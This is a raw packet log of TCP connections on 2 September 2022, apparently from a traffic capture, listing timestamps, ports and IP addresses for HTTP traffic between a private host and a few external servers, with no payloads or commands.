Sep 2, 2022 14:02:22.228528976 CEST	80	49789	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.228596926 CEST	49789	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.229581118 CEST	49793	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.231614113 CEST	80	49790	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.232369900 CEST	80	49792	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.232513905 CEST	49792	80	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.266261101 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266294956 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266314983 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266336918 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266360044 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266403913 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266459942 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266489983 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.266494989 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266516924 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266561985 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.266586065 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.266601086 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266644955 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266650915 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.266695976 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.266700029 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266726971 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266748905 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266771078 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266774893 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.266791105 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266809940 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.266813040 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266835928 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.266835928 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266863108 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.266875982 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266886950 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.266913891 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266937017 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266957998 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266966105 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.266979933 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.266988993 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267003059 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267014980 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267039061 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267055035 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267062902 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267076969 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267098904 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267098904 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267121077 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267122030 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267143011 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267144918 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267168999 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267168999 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267190933 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267196894 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267213106 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267225981 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267235041 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267247915 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267256975 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267275095 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267280102 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267302036 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267302990 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267323017 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267328978 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267359972 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267390966 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267401934 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267411947 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267416954 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267429113 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267433882 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267435074 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267457962 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267467976 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267478943 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267482042 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267519951 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267533064 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267549038 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267571926 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267594099 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267604113 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267616987 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267621994 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267638922 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267662048 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267684937 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267693996 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267704964 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267708063 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267709970 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267730951 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267735958 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267766953 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267770052 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267788887 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267793894 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267816067 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267818928 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267838001 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267842054 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267859936 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267865896 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267883062 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267891884 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267906904 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267918110 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267929077 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267940998 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267951965 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267965078 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267975092 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.267992973 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.267997026 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.268013954 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.268021107 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.268045902 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.268049955 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.268071890 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.268071890 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.268090963 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.268095970 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.268117905 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.268141031 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.268141031 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.268153906 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.268162966 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.268178940 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.268184900 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.268203974 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.268205881 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.268220901 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.268245935 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269073009 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269146919 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269166946 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269166946 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269196033 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269203901 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269228935 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269236088 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269253016 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269277096 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269279957 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269318104 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269326925 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269335985 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269354105 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269357920 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269381046 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269382000 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269392967 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269399881 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269419909 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269438028 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269443989 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269478083 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269515038 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269516945 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269535065 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269551039 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269570112 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269602060 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269642115 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269680977 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269701004 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269718885 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269721031 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269742012 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269769907 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269785881 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269843102 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269860983 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269879103 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269891977 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269896030 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269913912 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269921064 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269939899 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.269942999 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269973040 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269979954 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.269995928 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270015001 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270032883 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270067930 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270085096 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270112991 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270129919 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270148039 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270164013 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270174026 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270181894 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270195007 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270200014 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270216942 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270224094 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270235062 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270243883 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270262003 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270265102 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270281076 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270296097 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270298958 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270314932 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270358086 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270359993 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270368099 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270375013 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270385027 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270402908 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270411015 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270421982 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270431995 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270440102 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270456076 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270466089 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270473957 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270489931 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270514011 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270517111 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270530939 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270531893 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270549059 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270560026 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270565987 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270586014 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270595074 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270610094 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270623922 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270638943 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270639896 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270658016 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270661116 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270678997 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270682096 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270700932 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270700932 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270720005 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270723104 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270735979 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270741940 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270752907 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270760059 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270770073 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270787001 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270787001 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270802975 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270819902 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270823002 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270829916 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270836115 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270843029 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270853043 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270862103 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270870924 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270879984 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270895958 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270899057 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270912886 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270920038 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270930052 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270937920 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270946026 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270961046 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270962954 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270977974 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.270978928 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270997047 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.270997047 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271013975 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271022081 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271030903 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271044970 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271048069 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271064997 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271075010 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271081924 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271097898 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271105051 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271115065 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271131039 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271132946 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271147966 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271161079 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271164894 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271182060 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271186113 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271198988 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271214962 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271219015 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271231890 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271248102 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271248102 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271265984 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271276951 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271286011 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271295071 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271303892 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271315098 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271322012 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271338940 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271343946 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271368027 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271369934 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271385908 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271388054 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271404982 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271404982 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271421909 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271421909 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271439075 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271444082 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271456003 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271462917 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271472931 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271483898 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271492958 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271505117 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271507978 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271521091 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271526098 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271536112 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271542072 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271553040 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271559954 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271568060 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.271576881 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.271594048 CEST	80	49768	62.204.41.123	192.168.2.6
